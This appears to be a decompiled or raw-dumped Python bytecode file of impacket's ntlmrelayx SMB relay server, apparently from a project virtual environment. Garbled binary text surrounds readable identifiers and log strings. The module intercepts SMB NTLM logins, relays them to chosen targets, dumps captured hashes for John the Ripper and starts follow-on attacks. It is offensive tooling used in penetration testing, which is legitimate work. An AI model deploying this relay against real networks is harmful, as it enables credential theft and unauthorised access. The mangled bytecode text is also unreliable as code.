o
    jȸ                     @   sh  d dl mZ d dl mZ d dlmZ zd dlZW n ey%   d dlZY nw d dlZd dl	Z	d dl
Z
d dlZd dlZd dlZd dlZd dlZd dlmZmZ d dlmZ d dlmZmZmZmZ d dlmZmZmZmZmZ d d	l m!Z!m"Z"m#Z# d d
l$m%Z%m&Z&m'Z' d dl m(Z(m)Z)m*Z* d dl+m,Z, d dl-m.Z. d dl$m/Z/m0Z0 d dl1m2Z2 dd Z3G dd deZ4dS )    )division)print_function)ThreadN)hexlify	unhexlify)b)smbntlmLOGsmb3)STATUS_MORE_PROCESSING_REQUIREDSTATUS_ACCESS_DENIEDSTATUS_SUCCESSSTATUS_NETWORK_SESSION_EXPIREDSTATUS_BAD_NETWORK_NAME)SPNEGO_NegTokenRespSPNEGO_NegTokenInit	TypesMech)	SMBSERVERoutputToJohnFormatwriteJohnOutputToFile)ASN1_AID	MechTypesASN1_SUPPORTED_MECH)activeConnections)TargetsProcessor)decodeSMBStringencodeSMBString)	SMB2Errorc                 C   s8   |}|r
|d | }|sd}t d| d| d d S )N/unknownz (SMB): Received connection from z at z4, connection will be relayed after re-authentication)r
   info)	smbServerconnDatadomain_name	user_name	host_nameuser r(   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/smbrelayserver.pyauth_callback1   s   r*   c                   @   sv   e Zd Zdd ZdddZdd Zdd	 Zd
d Zdd Zdd Z	dd Z
dd Zdd Zdd Zdd Zdd ZdS )SMBRelayServerc                 C   sd  t |  d| _d| _|| _d | _| jj| _d | _d | _t		 }|
d |ddd |ddd |ddd |dd	d
 |ddd | jjdu rV|ddd n|ddd |ddd | jjd urs|dd| jj | jjdu r|ddd n|ddd | jjd ur|dd| jj |
d |ddd |ddd |ddd |ddd | jjr| jj}nd}t|j|f|| jjd| _| jjs| jt tdtj | j  | jtjj| j | _!| jtjj"| j#| _$| jtjj%| j&| _'| j(t)j*| j+| _,| j(t)j-| j.| _/| j(t)j0| j1| _2| j3d|jd d S )NTr   globalserver_name	server_osUNIXserver_domain	WORKGROUPlog_fileNonecredentials_file SMB2SupportTrueFalseanonymous_logonjtr_dump_pathdump_hashes	challengeIPC$commentz	read onlyyesz
share type3pathi  )config_parseripv6zimpacket.smbserverSMBRelay)4r   __init__daemonserverconfigtargettargetprocessorauthUserproxyTranslatorConfigParseradd_sectionsetsmb2support
outputFile
dumpHashesSMBServerChallengelisteningPortr   interfaceIprC   disableMultisetAuthCallbackr*   logging	getLoggersetLevelCRITICALprocessConfigFilehookSmbCommandr   SMBSMB_COM_NEGOTIATESmbComNegotiateorigSmbComNegotiateSMB_COM_SESSION_SETUP_ANDXSmbSessionSetupAndXorigSmbSessionSetupAndXSMB_COM_TREE_CONNECT_ANDXsmbComTreeConnectAndXorigsmbComTreeConnectAndXhookSmb2Commandr   SMB2_NEGOTIATESmbNegotiateorigSmbNegotiateSMB2_SESSION_SETUPSmbSessionSetuporigSmbSessionSetupSMB2_TREE_CONNECTsmb2TreeConnectorigsmb2TreeConnectaddConnection)selfrH   	smbConfigsmbportr(   r(   r)   rE   <   s\   





zSMBRelayServer.__init__Fc              
   C   s
  |j |dd}t }tj|d< t|d< d|d< tj|d< d|d	< | jjr| jj	 d
kr7t
d|d  d| _| jjdd| _| jd u rq| jjrY| jjjdd | jjdd| _ntd|d   t|d< t |d< d |gtfS td|d | jj| jjf  z| jj	 d
krtd d}nd}| |}W n, ty }	 z td| jj| jjt|	f  | j| jd| j W Y d }	~	nd }	~	ww ||d< | |d< ||| |du r|d |d< nd|d< d|d< t }
tj |
d< |du rt!"|d d }|d #d}d|v sd|v rtj$|
d< n	tdtj$|
d< t%d &d!d" t'd#D |
d$< d|
d%< d&|
d'< d&|
d(< d&|
d)< t!(t)*t+, |
d*< t!(t)*t+, |
d+< d,|
d-< t- }t.d. g|d/< |/ |
d0< t0|
d0 |
d1< |
|d< ||| d |gtfS )2NFcheckStatusFlagsStatus   CreditRequestResponseCommandr   	SessionID
REFLECTIONSMB://%s:445/ClientIPsingleTarget
multiRelayTfull_reloadI(SMB): Connection from %s controlled, but there are no more targets left!Data<(SMB): Received connection from %s, attacking target %s://%s'(SMB): Downgrading to standard security3(SMB): Connection against target %s://%s FAILED: %s	SMBClientEncryptionKey	MessageIDTreeIDSecurityMode   s
   SMB 2.002 s
   SMB 2.??? DialectRevisionz)Client does not support SMB2, fallbackingr5   c                 S   s   g | ]}t tjqS r(   )randomchoicestringascii_letters).0_r(   r(   r)   
<listcomp>   s    z/SMBRelayServer.SmbNegotiate.<locals>.<listcomp>   
ServerGuidCapabilitiesi   MaxTransactSizeMaxReadSizeMaxWriteSize
SystemTimeServerStartTime   SecurityBufferOffset2NTLMSSP - Microsoft NTLM Security Support Providerr   BufferSecurityBufferLength)1getConnectionDatar   
SMB2PacketSMB2_FLAGS_SERVER_TO_REDIRr   ri   rH   rV   modeupperr   rJ   	getTargetrI   keepRelayingreloadTargetsr
   r!   r   r   schemenetlocdebuginit_client	ExceptionerrorstrregisterTargetrK   getStandardSecurityChallengesetConnectionDataSMB2Negotiate_ResponseSMB2_NEGOTIATE_SIGNING_ENABLEDr   
SMBCommandsplitSMB2_DIALECT_002r   joinrange	POSIXtoFTcalendartimegmtimegmtimer   r   getDatalen)rs   connIdr"   
recvPacketisSMB1r#   
respPacketextSecclienterespSMBCommandr   dialectsblobr(   r(   r)   rj      s|   



 
  


 zSMBRelayServer.SmbNegotiatec              
   C   sV  |j |dd}| jjs/d|vs|d s/| |||\}}}d|d jv r*d|d d< |||fS t }t|d }	|	d |d< |	d }
d}t	d	|
dd
 d t
krt|
}|d }t|d d dkr|d d }|td kr|tv r{t| }nt|}|d| tj t }d|d< td |d< | }d|d< t||d< ||d< |gd tfS nt	d	|
dd
 d tkrt|
}|d }nd}|
}t	d|tdtdd  d }|d
krt }|| ||d< |d}|d u rtd| jj| jjf  d|d< d|d< d|d< | || |gd t!fS z| "||}|s2t#d| jj| jjf W n! t#yT } ztdt$|  | j%&| jd| j'  d }~ww |du rnt }d |d< td |d< | |d< n|}t}t()d
d!|d"< ||d#< n|d$krt#d%|d&kr}|d }t* }|| |+ | _'|du rt }|
|d< | }
| jj,r| -|||d# d' \}}n| -||
|d# d' \}}|t.krtd(| jj| jj| j'f  | j%&| jd| j' |/  nv|0  t1d)| j'|d* | jj| jj|j2f  | jj3s| j%&| jd| j' t4|d# d' |d+ |d, |d- |d. }||j5d/< | j67 rBt1d0|d1   | j68 d2krWt9|d1 |d3 | j68  d|d4< | jjsdd|d< | :| |du rvt }d5|d< nd2}||d6< nt#d7| d|d< t||d< |d dkr| |d< nd2|d< | || |gd |fS )8NFrv   relayToHostSessionFlagsr   r   r   r   Brz   	MechTokenr   r   zUnsupported MechType '%s'   NegStateSupportedMechH   r   r   ResponseTokenT<LNTLMSSP    NEGOTIATE_MESSAGEr   5(SMB): No relay client initialized for target %s://%s    *No challenge message returned from %s://%s (SMB): NTLM negotiate failed: %s   l    UidCHALLENGE_MESSAGE   z)Challenge Message raise, not implemented!   r<   2(SMB): Authenticating against %s://%s as %s FAILEDH(SMB): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]r   r%   r$   lanmanr	   JOHN_OUTPUT	(SMB): %shash_stringr5   hash_versionAuthenticated    AUTHENTICATE_MESSAGEUnknown NTLMSSP MessageType %d);r   rH   rV   rn   fieldsr   SMB2SessionSetup_ResponseSMB2SessionSetupstructunpackr   r   r   r   r   r   logrX   DEBUGr   r   r   r   r	   NTLMAuthNegotiate
fromStringgetr
   r   rI   r   r   r   r   do_ntlm_negotiater   r   rJ   r   rK   r   randintNTLMAuthChallengeResponsegetUserString
remove_micdo_ntlm_authr   killConnectionsetClientIdr!   	client_idisADCSAttackr   sessionDatarG   getDumpHashesgetJTRdumpPathr   	do_attack)rs   r   r"   r   r#   respCommandsrespPackets	errorCoder   sessionSetupDatasecurityBlobrawNTLMr   tokenmechTypemechStr	respTokenmessageTypenegotiateMessager   challengeMessager   authenticateMessage
respToken2clientResponsentlm_hash_datar(   r(   r)   rm      s   


$















(






zSMBRelayServer.SmbSessionSetupc              
   C   sr  | |}|d }| | _| jjr| |||S zt| jj dkr,td|d  d| _	| j	j
| jd| _| jd u rc| jjrO| jjjdd | j	j
d	d
| _ntd| j|d f  | |||W S td| j|d | jj| jjf  | jj dkrtd d	}nd}| |}W n, ty } z td| jj| jjt|f  | j	| jd	| j W Y d }~n&d }~ww d|d< d	|d< |d= |d= |d= ||d< | |d< ||| t }	tj|	d< t|	d< d|	d< |d |	d< |d |	d< |d |	d< |d |	d< |d |	d< t }
t}||	d< d|
d < d!|
d"< |
|	d#< |d$ r-| |	|d%  ||| d |	g|fS )&Nr   r~   r   r   r   identityTr   Fr   L(SMB): Connection from %s@%s controlled, but there are no more targets left!A(SMB): Connection from %s@%s controlled, attacking target %s://%sr   r   r   r   r   r   r   r   rx   ry   rz   r{   r|   r   r}   Reservedr   r   r   r   i MaximalAccessr   SignatureEnabledSigningSessionKey)!r   r   rK   rH   rV   rq   r   r   r   rJ   r   rI   r   r   r
   r!   r   r   r   r   r   r   r   r   r   r   r   r   r   r   SMB2TreeConnect_Responser   	signSMBv2)rs   r   r"   r   r#   r  r   r   r   r   r   r  r(   r(   r)   rp     sj   


$
  

zSMBRelayServer.smb2TreeConnectc           	   
   C   s  |j |dd}| jjr| jj dkrtd|d  d| _| jjdd| _| jd u rS| jj	r?| jjj
dd	 | jjdd| _ntd
|d   ttjjgd tfS td|d | jj| jjf  z1|d tjj@ dkrqd}n| jj dkrtd d}|d  tjj 7  < nd}| |}W n, ty } z td| jj| jjt|f  | j| jd| j W Y d }~n8d }~ww ||d< | |d< ||| n"|d tjj@ dkr| jj dkrtd |d  tjj 7  < | ||||S )NFrv   r~   r   r   r   r   Tr   r   r   Flags2r   r   r   r   r   )r   rH   rV   r   r   r   rJ   r   rI   r   r   r
   r!   r   r   r^   r_   r   r   r   FLAGS2_EXTENDED_SECURITYr   r   r   r   r   r   rK   r   r   ra   )	rs   r   r"   r   r   r#   r   r   r   r(   r(   r)   r`     sD   
 
  
zSMBRelayServer.SmbComNegotiatec              
   C   sB  |j |dd}| jjsd|vs|d s| ||||S ttjj}|d d tjj@ rt	 }t
 }t|d }	t }
|	d |
d< |
|d  |	d |d< d}td	|
d
 dd d tkrpt|
d
 }|d }n
t|
d
 }|d }td|tdtdd  d }|dkr_t }|| ||d< |d}|d u rt }tjjtjjB |d< tjjtjjB |d< |d |d< |d |d< |d |d< |d |d< |d |d< d|d< td? |d< td@ |d< td | jj | jj!f  |"|| d |gtfS z| #||}|st$d!| jj | jj!f W n! t$y? } ztd"t%|  | j&'| jd| j(  d }~ww t }d#|d$< t)d% |d&< |* |d< t+}d'|d< ||d(< n|d)krm|d }t, }|| |- | _(| .||
d
 |d( d* \}}|t/krt }tjjtjjB |d< tjjtjjB |d< |d |d< |d |d< |d |d< |d |d< |d |d< d|d< |d? |d< |d@ |d< td+| jj | jj!| j(f  | j&'| jd| j( |0  d |g|fS |1  t2d,| j(|d- | jj | jj!|j3f  | j&'| jd.| j( t4|d( d* |d/ |d0 |d1 |d2 }||j5d3< | j67 r=t2d4|d5   | j68 d6krRt9|d5 |d7 | j68  | :| t }d8|d$< d.|d9< d|d< t/}||d:< nt$d;| t||d< |d |d< |* |d
< nt; }t< }t=|d }	t> }
|	d< |
d<< |	d= |
d=< |
|d  |d }|?|
\}}|t/krt }tjjtjjB |d< tjjtjjB |d< |d |d< |d |d< |d |d< |d |d< |d |d< d|d< |d? |d< |d@ |d< | j&'| jd| j( d |g|fS |1  d>|
d? |
d@ f @ | _(t2d,| j(|d- | jj | jj!|j3f  | j&'| jd.| j( t4d6|
d@ |
d? |
dA |
dB }||j5d3< | j67 rft2d4|d5   | j68 d6kr{t9|d5 |d7 | j68  d.|d9< | jjsd|d< | :| ||d< ||d< |"|| |gd |fS )CNFrv   r   _dialects_parametersr   
ParametersSecurityBlobLengthr   r   SecurityBlobr   rz   r   r   r   r   r   r   r   Flags1r%  r|   PidTidMidr   s      r   	ErrorCode   
ErrorClassr   r   r   r   r   r   r   
   r   r   r<   r   r   r   Tr%   r$   r   r	   r   r   r   r5   r   r   r   r   r   AnsiPwdLengthUnicodePwdLengthz%s/%sPrimaryDomainAccountAnsiPwd
UnicodePwd)Ar   rH   rV   rd   r   r   r^   rb   CAP_EXTENDED_SECURITY0SMBSessionSetupAndX_Extended_Response_Parameters*SMBSessionSetupAndX_Extended_Response_Data'SMBSessionSetupAndX_Extended_Parameters!SMBSessionSetupAndX_Extended_Datar   r   r   r   r   r   r   r	   r   r   NewSMBPacketFLAGS1_REPLYFLAGS1_PATHCASELESSFLAGS2_NT_STATUSr&  r   r
   r   rI   r   r   r   r   r   r   rJ   r   rK   r   r   r   r   r   r  r   r  r  r!   r  r   r  rG   r  r  r   r	  &SMBSessionSetupAndXResponse_Parameters SMBSessionSetupAndXResponse_DataSMBSessionSetupAndX_ParametersSMBSessionSetupAndX_DatasendStandardSecurityAuthr   )rs   r   r"   r   r   r#   r   respParametersrespDatasessionSetupParametersr  r  r   r  r  r  r   packetr  r   r  r  r  r  r  r   r(   r(   r)   rc   -  s0   
$








(



(


z"SMBRelayServer.SmbSessionSetupAndXc              
   C   sn  | |}|d }| | _| jjr| ||||S z| jj dkr-td|d  d| _	| j	j
| jd| _| jd u rd| jjrP| jjjdd | j	j
d	d
| _ntd| j|d f  | |||W S td| j|d | jj| jjf  | jj dkrtd d	}|d  tjj 7  < nd}| |}W n, ty }	 z td| jj| jjt|	f  | j	| jd	| j W Y d }	~	n&d }	~	ww d|d< d	|d< |d= |d= |d= ||d< | |d< ||| t }
tjj|
d< tjjtjjB tjj B |d tjj!@ B |
d< |d |
d< |d |
d< |d |
d< t"tjj#}t$ }t% }t&|d }|d d@ r:t' }tj(|d d}|d |d< |)|d   t*|d |d! }t+,|rf|-d"d# }nt+.|}t/}|d$? |
d%< d#|
d&< |d'@ |
d(< |d)krd*|d+< n||d+< d,|d-< t0|d d.|d/< ||d< ||d < |d0 |
d0< |
1| ||| d |
g|fS )1Nr   r~   r   r   r   r  Tr   Fr   r  r  r   r%  r   r   r   r   r   r   r   r+  r-  r.  r,  r(  rx      )flagsPasswordLength_PasswordLengthr   Path\r   r   r/  	_reservedr0  r1  r=   IPCServicer   PadLenNTFSNativeFileSystemr   )2r   r   rK   rH   rV   rg   r   r   r   rJ   r   rI   r   r   r
   r!   r   r   r   r   r^   r&  r   r   r   r   r   r   r   r>  r?  rA  FLAGS2_LONG_NAMESFLAGS2_UNICODEr   re   %SMBTreeConnectAndXResponse_ParametersSMBTreeConnectAndXResponse_DataSMBTreeConnectAndX_Parameters-SMBTreeConnectAndXExtendedResponse_ParametersSMBTreeConnectAndX_Datar   r   ntpathismountr   basenamer   r   
addCommand)rs   r   r"   r   r   r#   r  r   r   r   respr   rG  rH  treeConnectAndXParameterstreeConnectAndXData
UNCOrSharerA   r  r(   r(   r)   rf   #  s   


$
  



z$SMBRelayServer.smbComTreeConnectAndXc                 C   sZ   | j j | jjv r%| jj| j j  | j| j |d}| s#td|S td| j j )N)extendedSecurityzCould not initialize connectionz!Protocol Client for %s not found!)rI   r   r   rH   protocolClientsinitConnectionr   )rs   r   r   r(   r(   r)   r     s   "zSMBRelayServer.init_clientc                 C   s
   | |S N)sendNegotiate)rs   r   r  r(   r(   r)   r     s   
z SMBRelayServer.do_ntlm_negotiatec                 C   s   | ||\}}||fS ri  )sendAuth)rs   r   SPNEGO_tokenr<   r  r  r(   r(   r)   r    s   zSMBRelayServer.do_ntlm_authc                 C   s   | j jr+| jj | j jjv r+| j jdu r+t| jj	|j
| jj | j||jf d S | jj | j jv rO| j j| jj  | j |j| j| j|}|  d S td| jj   d S )NTz"(SMB): No attack configured for %s)rH   runSocksrI   r   r   socksServersupportedSchemesr   puthostname
targetPortrK   r  attackssessionstartr
   r   )rs   r   clientThreadr(   r(   r)   r	    s   
(zSMBRelayServer.do_attackc                 C   s*   d| j _| j   td | j   d S )NTzShutting down SMB Server)rG   daemon_threadsserve_foreverr
   r!   server_closers   r(   r(   r)   _start  s   

zSMBRelayServer._startc                 C   s"   t d| jjd   |   d S )Nz Setting up SMB Server on port %srz   )r
   r!   rG   server_addressr{  rz  r(   r(   r)   run  s   zSMBRelayServer.runN)F)__name__
__module____qualname__rE   rj   rm   rp   r`   rc   rf   r   r   r  r	  r{  r}  r(   r(   r(   r)   r+   ;   s     
L_ @U2 wlr+   )5
__future__r   r   	threadingr   rM   ImportErrorconfigparserr   rX   r   r   r   r   socketr^  binasciir   r   sixr   impacketr   r	   r
   r   impacket.nt_errorsr   r   r   r   r   impacket.spnegor   r   r   impacket.smbserverr   r   r   r   r   r   0impacket.examples.ntlmrelayx.servers.socksserverr   /impacket.examples.ntlmrelayx.utils.targetsutilsr   r   r   impacket.smb3structsr   r*   r+   r(   r(   r(   r)   <module>   s:   
